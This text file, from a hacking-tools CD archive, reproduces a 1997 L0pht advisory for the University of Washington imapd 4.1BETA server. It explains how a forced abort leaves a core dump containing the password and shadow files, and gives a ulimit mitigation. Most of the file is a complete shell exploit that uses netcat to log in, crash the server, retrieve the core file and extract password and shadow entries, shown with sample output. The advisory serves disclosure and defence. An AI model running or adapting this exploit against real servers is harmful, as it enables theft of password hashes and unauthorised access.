home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / imapd_4.1b.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  11.5 KB  |  427 lines

  1.  
  2.                          L0pht Security Advisory
  3.  
  4.                        Advisory released Oct 8 1997
  5.                   Application: imapd (imap-4.1BETA from the
  6.                IMAP 4.1 toolkit from University of Washington)
  7.                     Severity: any user with an account
  8.                can remotely grab the shadowed password file.
  9.                          Author: mudge@l0pht.com
  10.                   http://www.l0pht.com/advisories.html
  11.  
  12. Scenario:
  13.  
  14.   It is possible to crash the imapd server in several possible places.
  15.   Due to the lack of handling for the SIGABRT signal and the nature
  16.   of the IMAP protocol in storing folders locally on the server; a core dump
  17.   is produced in the users current directory. This core dump contains the
  18.   password and shadow password files from the system.
  19.  
  20. Example:
  21.  
  22.  ./imap_core.sh
  23. usage: imap_core.sh target username password
  24.  
  25. ./imap_core.sh target jdoe letmein
  26.  
  27. imap_core.sh -
  28.   this is a quick proof of concept tool that causes some imapd
  29.   implementations to dump core. Unfortunately the core file
  30.   contains the password and shadow password file in it!
  31.          .mudge [mudge@l0pht.com]
  32.  
  33. [Starting]
  34. Built base64 decoder...
  35.  
  36. Running imap attack...
  37.  
  38. Forced server to dump core. Reconnecting to grab file and clean up!
  39. Stripping trailing c/r from RFC822 base64 encapsulated core file
  40. Removing imap crap from beginning and end of core.24487
  41.  
  42. Converting base64 image to binary core file...
  43. core.24487:     ELF 32-bit MSB core file SPARC Version 1, from 'imapd'
  44. Successfully grabbed some form of password file for target.com
  45.   results located in ./etc_passwd.target.com
  46. Successfully grabbed some form of shadow file for target.com
  47.   results located in ./etc_shadow.target.foo.bar
  48.   [note: some manual cleanup of ./etc_shadow.target.com is probably required]
  49. [Finished]
  50.  
  51. Description:
  52.  
  53.   In several situations it is possible to make the imapd server call
  54.   the function fatal() which is as follows in osdep/unix/ftl_unix.c:
  55.  
  56.     /* Report a fatal error
  57.      * Accepts: string to output
  58.      */
  59.  
  60.      void fatal (char *string)
  61.      {
  62.        mm_fatal (string);            /* pass up the string */
  63.        syslog (LOG_ALERT,"IMAP toolkit crash: %.100s",string);
  64.        abort ();                     /* die horribly */
  65.      }
  66.  
  67.   If SIGABRT is caught and the signal handler does not return, things
  68.   would be okay, life would go on, and Frank Zappa's death would be
  69.   a big sick joke. However, SIGABRT is not caught or ignored. Since part
  70.   of the beauty of the IMAP protocol is that you can maintain your
  71.   mailboxes on the server, your directory must be writable by at least
  72.   yourself. What happens when SIGABRT is not caught, not ignored, and
  73.   the current direcorty is writable? core dump.
  74.  
  75.   Here are just a few of the areas where fatal() is called.
  76.  
  77.   c-client/mail.c:  if (stream->lock) fatal ("Lock when already locked");
  78.   c-client/mail.c:  if (!stream->lock) fatal ("Unlock when not locked");
  79.   imapd/imapd.c:  if (quell_events) fatal ("Impossible EXPUNGE event");
  80.   osdep/unix/fs_unix.c:  if (!block) fatal ("Out of free storage");
  81.   osdep/unix/fs_unix.c:    fatal ("Can't resize free storage");
  82.   osdep/unix/env_unix.c:  if (myUserName) fatal ("env_init called twice!");
  83.   osdep/unix/dummy.c:  fatal ("Impossible dummy_copy");
  84.  
  85. Solution:
  86.  
  87.   There are several places where imapd can be forced to abort(3C). There
  88.   are also several ways to prevent each area. As opposed to forcing our
  89.   preferred way of fixing the code and thus precluding potentially more
  90.   ellegant patches we choose to suggest a blanket solution. This should
  91.   allow the author of the application to fix these problems as he sees fit
  92.   while alerting everyone (good and bad) of the problem and a stop-gap fix
  93.   in the mean time.
  94.  
  95.   This said, we recommend that core dumps not be permitted from any application
  96.   running out of inetd. If you need to test these things do so in a controlled
  97.   environment. No production machine should be allowed to crap all over the
  98.   place. "But wait!", You say, "what if we think the application is robust
  99.   and then realize there is a problem later on. We need that core file". Face
  100.   it, there are very few people out there that know what to do with core
  101.   files other than rm(1) them. However, if this is the case then you
  102.   sved yourself some heartache. Now that you know the application is not
  103.   ready for prime time you can pull it back into a controlled environment
  104.   and attempt to make it dump core again.
  105.  
  106.   For Solaris you can set the core dump size via the bourne shell's built-in
  107.   ulimit command.
  108.  
  109.   /etc/init.d/inetsvc should contain the line ulimit -c 0 directly above the
  110.   line starting off inetd.
  111.  
  112. ---excerpt snip---
  113. ulimit -c 0
  114. /usr/sbin/inetd -s
  115. --- excerpt snip---
  116.  
  117.   Don't forget to kill inetd and re-run the inetsvc script.
  118.  
  119.   Other OS's should check if their bourne shell has a built in ulimit and
  120.   if not, follow whatever methods are used on their particular system to
  121.   prevent core dumps or limit their size to 0.
  122.  
  123.   You can use the following script to test if you are vulnerable or to check
  124.   that your fix worked. [note: you will need netcat for the script,
  125.   netcat available from http://www.avian.org and other fine fast food
  126.   establishments ]
  127.  
  128. Exploit code:
  129.  
  130. ------cut here------
  131.  
  132. #!/bin/sh
  133. # mudge@l0pht.com
  134. #
  135. # A quick little tool that shows the dangers of priveledged programs dumping
  136. # core.
  137. #
  138. # Shout outs to a bunch of people - in particular Nettwerk.
  139. # Hey Nettwerk where'd ya go?
  140.  
  141. # Programs
  142. NC=/usr/local/bin/nc
  143. CAT=/bin/cat
  144. RM=/bin/rm
  145. GREP=/bin/grep
  146. TAIL=/bin/tail
  147. HEAD=/bin/head
  148. MV=/bin/mv
  149. TR=/bin/tr
  150. STRINGS=/bin/strings
  151. FILE=/bin/file
  152. CC=/usr/local/bin/gcc
  153.  
  154. # temporary command and storage files
  155. CMDS1=nc_commands1
  156. CMDS2=nc_commands2
  157. DECODE64_SRC=b64.c
  158. TMPNAM=vunlklyname
  159. TMPFILE=tmp.$$
  160.  
  161. # compiled BASE64 decoding program
  162. DECODE64=./b64
  163.  
  164. # core file - sometimes base64 sometimes actuall dump file
  165. CORE=core.$$
  166.  
  167. if [ $# != 3 ] ; then
  168.   echo "usage: `basename $0` target username password"
  169.   exit
  170. fi
  171.  
  172. echo
  173. echo "[L0pht Heavy Industries - l0pht.com]"
  174. echo "`basename $0` - "
  175. echo "  this is a quick proof of concept tool that causes some imapd"
  176. echo "  implementations to dump core. Unfortunately the core file  "
  177. echo "  contains the password and shadow password file in it!"
  178. echo "         .mudge [mudge@l0pht.com]"
  179. echo
  180.  
  181. # command line supplied variables
  182. TARGET=$1
  183. USER=$2
  184. PASS=$3
  185.  
  186. # resultant password and shadow files
  187. PASSWD=./etc_passwd_$TARGET
  188. SHADOW=./etc_shadow_$TARGET
  189.  
  190. # the following logs in in plaintext as opposed through X AUTHENTICATE -
  191. # you have been forwarned...
  192. #   login with $user $pass
  193. #   create a folder that probably isn't there
  194. #   select the folder
  195. #   copy the file to another name
  196. #     the above will cause IMAP4rev1 to crash via calling dummy_copy
  197. #     note: there are many other ways to get this thing to crash.
  198. cat > $CMDS1 << FOEFOE
  199.  
  200. 1 LOGIN $USER $PASS
  201. 2 CREATE $TMPNAM
  202. 3 SELECT $TMPNAM
  203. 4 COPY $TMPNAM $TMPNAM.$$
  204.  
  205. FOEFOE
  206.  
  207. # login with $user $pass (again in plaintext...)
  208. # select the core file
  209. # retrieve the core file base64 encoded as per RFC822
  210. # delete the core file
  211. # delete the temporary file we created
  212. # bye bye
  213. cat > $CMDS2 << FOEFOE
  214.  
  215. 1 LOGIN $USER $PASS
  216. 2 SELECT core
  217. 3 UID FETCH 1 (UID RFC822.SIZE RFC822)
  218. 4 DELETE core
  219. 5 DELETE $TMPNAM
  220. 4 LOGOUT
  221.  
  222. FOEFOE
  223.  
  224. # The following quick little program to decode base64 was yanked in
  225. # big chunks from Dave Winer's code sitting on
  226. #     http://www.scripting.com/midas/base64/source.html
  227. # hey, credit where it's due - Dave saved me some time here.
  228. # modest changes by: mudge@l0pht.com
  229.  
  230. cat > $DECODE64_SRC << FOEFOE
  231.  
  232. #include <stdio.h>
  233.  
  234. #define TRUE 1
  235. #define FALSE 0
  236.  
  237. void decodefile(FILE *, FILE *);
  238.  
  239. int main(int argc, char *argv[]){
  240.   FILE *fin, *fout;
  241.  
  242.   if (argc > 3){
  243.     printf("Usage: %s <infile> <outfile>\n", argv[0]);
  244.     exit(1);
  245.   }
  246.  
  247.   switch(argc){
  248.     case 3:
  249.       fin = fopen(argv[1], "r");
  250.       fout = fopen(argv[2], "w");
  251.       if (!fin || !fout) {
  252.         perror("fopen");
  253.         exit(1);
  254.       }
  255.       break;
  256.     case 2:
  257.       fin = fopen(argv[1], "r");
  258.       fout = stdout;
  259.       if (!fin) {
  260.         perror("fopen");
  261.         exit(1);
  262.       }
  263.       break;
  264.     case 1:
  265.       fin = stdin;
  266.       fout = stdout;
  267.       break;
  268.   }
  269.  
  270.   decodefile(fin, fout);
  271.   close(fin);
  272.   close(fout);
  273.   exit(0);
  274. }
  275.  
  276. void decodefile(FILE *fin, FILE *fout) {
  277.  
  278.   short charctr;
  279.   int breakout;
  280.   unsigned char ch;
  281.   unsigned char inbuf[3], outbuf[4];
  282.   short bufctr = 0, ignore, eot = 0;
  283.  
  284.   while ((ch = fgetc(fin))) {
  285.     if (feof(fin)){
  286.       close(fin);
  287.       break;
  288.     }
  289.  
  290.     ignore = FALSE;
  291.  
  292.     if ((ch >= 'A') && (ch <= 'Z'))
  293.       ch = ch - 'A';
  294.     else if ((ch >= 'a') && (ch <= 'z'))
  295.       ch = ch - 'a' + 26;
  296.     else if ((ch >= '0') && (ch <= '9'))
  297.       ch = ch - '0' + 52;
  298.     else if (ch == '+')
  299.       ch = 62;
  300.     else if (ch == '=')
  301.       eot = TRUE;
  302.     else if (ch == '/')
  303.       ch = 63;
  304.     else
  305.       ignore = TRUE;
  306.  
  307.     if (!ignore) {
  308.       charctr = 3;
  309.       breakout = FALSE;
  310.  
  311.       if (eot) {
  312.         if (bufctr == 0)
  313.           break;
  314.  
  315.         if ((bufctr == 1) || (bufctr == 2))
  316.           charctr = 1;
  317.         else
  318.           charctr = 2;
  319.  
  320.         bufctr = 3;
  321.         breakout = TRUE;
  322.       }
  323.  
  324.       inbuf[bufctr++] = ch;
  325.  
  326.       if (bufctr == 4) {
  327.         bufctr = 0;
  328.  
  329.         outbuf[0] = (inbuf[0] << 2) | ((inbuf[1] & 0x30) >> 4);
  330.         outbuf[1] = ((inbuf[1] & 0x0F) << 4) | ((inbuf[2] & 0x3C) >> 2);
  331.         outbuf[2] = ((inbuf[2] & 0x03) << 6) | (inbuf[3] & 0x3F);
  332.  
  333.         fprintf(fout, "%c%c%c", outbuf[0], outbuf[1], outbuf[2]);
  334.       }
  335.  
  336.       if (breakout)
  337.         break;
  338.     }
  339.   }
  340.  
  341. }
  342.  
  343. FOEFOE
  344.  
  345. $CC -o $DECODE64 $DECODE64_SRC
  346. if [ ! -x $DECODE64 ] ; then
  347.   echo "failed to compile base 64 decoding utility"
  348.   echo "stop"
  349.   $RM -f $DECODE64_SRC $DECODE64
  350.   exit
  351. fi
  352.  
  353. echo "[Starting]"
  354. echo "Built base64 decoder..."
  355. echo
  356. echo "Running imap attack..."
  357.  
  358. $CAT $CMDS1 | $NC -w 10 $TARGET 143 > $TMPFILE
  359.  
  360. grep -i "server crashing" $TMPFILE > /dev/null
  361.  
  362. if [ $? -eq 0 ] ; then
  363.   echo
  364.   echo "Forced server to dump core. Reconnecting to grab file and clean up!"
  365.   $CAT $CMDS2 | $NC -w 10 $TARGET 143 > $CORE
  366.   $RM -f $CMDS1 $CMDS2 $TMPFILE
  367.   echo "Stripping trailing c/r from RFC822 base64 encapsulated core file"
  368.   # interesting... I must've missed the section of rfc 1521 that stated
  369.   # they'd make this DOS'ish
  370.   $TR -d '\015' < $CORE > $CORE.2 # strip off ^M's from file
  371.   $MV -f $CORE.2 $CORE
  372. else
  373.   echo "Failed to crash server... cleaning up"
  374.   $RM -f $CMDS1 $CMDS2 $TMPFILE $DECODE64 $DECODE64_SRC
  375.   exit
  376. fi
  377.  
  378. echo "Removing imap crap from beginning and end of $CORE"
  379. VAR=`grep -n "^$" $CORE | awk -F: '{print $1}'`
  380. VAR=`expr $VAR + 1`
  381. $TAIL +$VAR $CORE > $TMPFILE
  382. VAR=`grep -n "=" $TMPFILE | awk -F: '{print $1}'`
  383. $HEAD -$VAR $TMPFILE > $CORE
  384. $RM $TMPFILE
  385.  
  386. echo
  387. echo "Converting base64 image to binary core file..."
  388. $DECODE64 $CORE $TMPFILE
  389. $MV $TMPFILE $CORE
  390. $FILE $CORE
  391.  
  392. $STRINGS - $CORE | $GREP ':x:' > $PASSWD
  393. $STRINGS -n 13 - $CORE | $GREP ':' | $GREP -v ' ' | $GREP -v ':x:' > $SHADOW
  394.  
  395. if [ -s $PASSWD ] ; then
  396.   echo
  397.   echo "Successfully grabbed some form of password file for $TARGET"
  398.   echo "  results located in $PASSWD"
  399. else
  400.   echo "failed to create $PASSWD"
  401.   $RM -f $PASSWD
  402. fi
  403.  
  404. if [ -s $SHADOW ] ; then
  405.   echo "Successfully grabbed some form of shadow file for $TARGET"
  406.   echo "  results located in $SHADOW"
  407.   echo "  [note: some manual cleanup of $SHADOW is probably required]"
  408.   echo
  409. else
  410.   echo "failed to create $SHADOW"
  411.   echo
  412.   $RM -f $SHADOW
  413. fi
  414.  
  415. $RM -f $DECODE64 $DECODE64_SRC
  416. $MV -f $CORE core_${TARGET}
  417. echo "[Finished]"
  418.  
  419. ------cut here------
  420.  
  421. mudge@l0pht.com
  422. ---------------
  423. For more L0pht (that's L - zero - P - H - T) advisories check out:
  424. http://www.l0pht.com/advisories.html
  425. ---------------
  426.  
  427.